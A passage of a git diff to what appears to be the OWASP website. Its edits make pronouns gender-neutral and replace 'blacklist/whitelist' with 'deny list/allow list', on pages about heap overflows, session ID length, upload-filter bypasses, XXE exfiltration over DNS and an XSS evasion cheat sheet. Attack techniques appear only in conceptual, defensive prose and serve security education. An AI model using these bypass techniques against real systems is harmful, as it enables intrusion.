elevated permissions. When a buffer is `free()`'d, a linked list of free buffers is read to rearrange and combine the chunks of free memory (to be able to allocate larger buffers in the future). These chunks are laid out in a double linked list which points to previous and next chunks. Unlinking an unused buffer (which is what happens when `free()` is called) could allow an attacker to write arbitrary values in memory; essentially overwriting valuable registers, calling shellcode from its own buffer. diff --git a/pages/vulnerabilities/Insufficient_Session-ID_Length.md b/pages/vulnerabilities/Insufficient_Session-ID_Length.md index b346b4747c..3a93b3a3ec 100644 --- a/pages/vulnerabilities/Insufficient_Session-ID_Length.md +++ b/pages/vulnerabilities/Insufficient_Session-ID_Length.md @@ -15,7 +15,7 @@ tags: vulnerability, Insufficient Session-ID Length Session identifiers should be at least 128 bits long to prevent brute-force session guessing attacks. -The WebLogic deployment descriptor should specify a session identifier length of at least 128 bits. A shorter session identifier leaves the application open to brute-force session guessing attacks. If an attacker can guess an authenticated user's session identifier, he can take over the user's session. The remainder of this explanation will detail a back-of-the-envelope justification for a 128 bit session identifier. +The WebLogic deployment descriptor should specify a session identifier length of at least 128 bits. A shorter session identifier leaves the application open to brute-force session guessing attacks. If an attacker can guess an authenticated user's session identifier, they can take over the user's session. The remainder of this explanation will detail a back-of-the-envelope justification for a 128 bit session identifier. The expected number of seconds required to guess a valid session identifier is given by the equation: diff --git a/pages/vulnerabilities/Missing_Error_Handling.md b/pages/vulnerabilities/Missing_Error_Handling.md index 218ed6425a..244274188a 100644 --- a/pages/vulnerabilities/Missing_Error_Handling.md +++ b/pages/vulnerabilities/Missing_Error_Handling.md @@ -25,7 +25,7 @@ TBD ## Examples -An "HTTP 404 - File not found" error tells an attacker that the requested file doesn't exist rather than that he doesn't have access to the file. This can help the attacker to decide his next step. +An "HTTP 404 - File not found" error tells an attacker that the requested file doesn't exist rather than that they don't have access to the file. This can help the attacker to decide their next step. ## Related [Attacks](../attacks/) diff --git a/pages/vulnerabilities/Unrestricted_File_Upload.md b/pages/vulnerabilities/Unrestricted_File_Upload.md index b3054fc723..f0ef5e6351 100644 --- a/pages/vulnerabilities/Unrestricted_File_Upload.md +++ b/pages/vulnerabilities/Unrestricted_File_Upload.md @@ -110,7 +110,7 @@ and interpreters are involved. ## Weak Protections and Bypassing Methods -### Blacklisting File Extensions +### Deny Listing File Extensions This protection might be bypassed by: @@ -229,16 +229,16 @@ The above command will create an file with the name "output.php.gif" which simply need to be upload durning the check of file upload vulnerability. -### Whitelisting File Extensions +### Allow Listing File Extensions -Applications that check the file extensions using a whitelist method +Applications that check the file extensions using an allow list method also need to validate the full filename to prevent any bypass. - The list of permitted extensions should be reviewed as it can contain malicious extensions as well. For instance, in case of having ".shtml" in the list, the application can be vulnerable to SSI attacks. - - Some of the bypass techniques for the blacklist methods such as + - Some of the bypass techniques for the deny list methods such as using double extensions are also applicable here and should be checked. @@ -344,8 +344,8 @@ And some special recommendations for the developers and webmasters: - The file types allowed to be uploaded should be restricted to only those that are necessary for business functionality. - - Never accept a filename and its extension directly without having a - whitelist filter. + - Never accept a filename and its extension directly without having an + allow list filter. - The application should perform filtering and content checking on any files which are uploaded to the server. Files should be thoroughly scanned and validated before being made available to other users. If diff --git a/pages/vulnerabilities/XML_External_Entity_(XXE)_Processing.md b/pages/vulnerabilities/XML_External_Entity_(XXE)_Processing.md index f58a233799..d894c254a7 100644 --- a/pages/vulnerabilities/XML_External_Entity_(XXE)_Processing.md +++ b/pages/vulnerabilities/XML_External_Entity_(XXE)_Processing.md @@ -57,7 +57,7 @@ released. Note that the application does not need to explicitly return the response to the attacker for it to be vulnerable to information disclosures. An attacker can leverage DNS information to exfiltrate data -through subdomain names to a DNS server that he/she controls. +through subdomain names to a DNS server that they controls. ## Risk Factors diff --git a/pages/xss-filter-evasion-cheatsheet.md b/pages/xss-filter-evasion-cheatsheet.md index 9519ca12e8..d775ed5402 100644 --- a/pages/xss-filter-evasion-cheatsheet.md +++ b/pages/xss-filter-evasion-cheatsheet.md @@ -13,7 +13,7 @@ permalink: /xss-filter-evasion-cheatsheet # Introduction -This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: `http://ha.ckers.org/xss.html`. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html), was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [OWASP Cheat Sheet Series](https://owasp.org/www-project-cheat-sheets/) was born. +This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: `http://ha.ckers.org/xss.html`. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html), was inspired by RSnake's XSS Cheat Sheet, so we can thank RSnake for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [OWASP Cheat Sheet Series](https://owasp.org/www-project-cheat-sheets/) was born. # Tests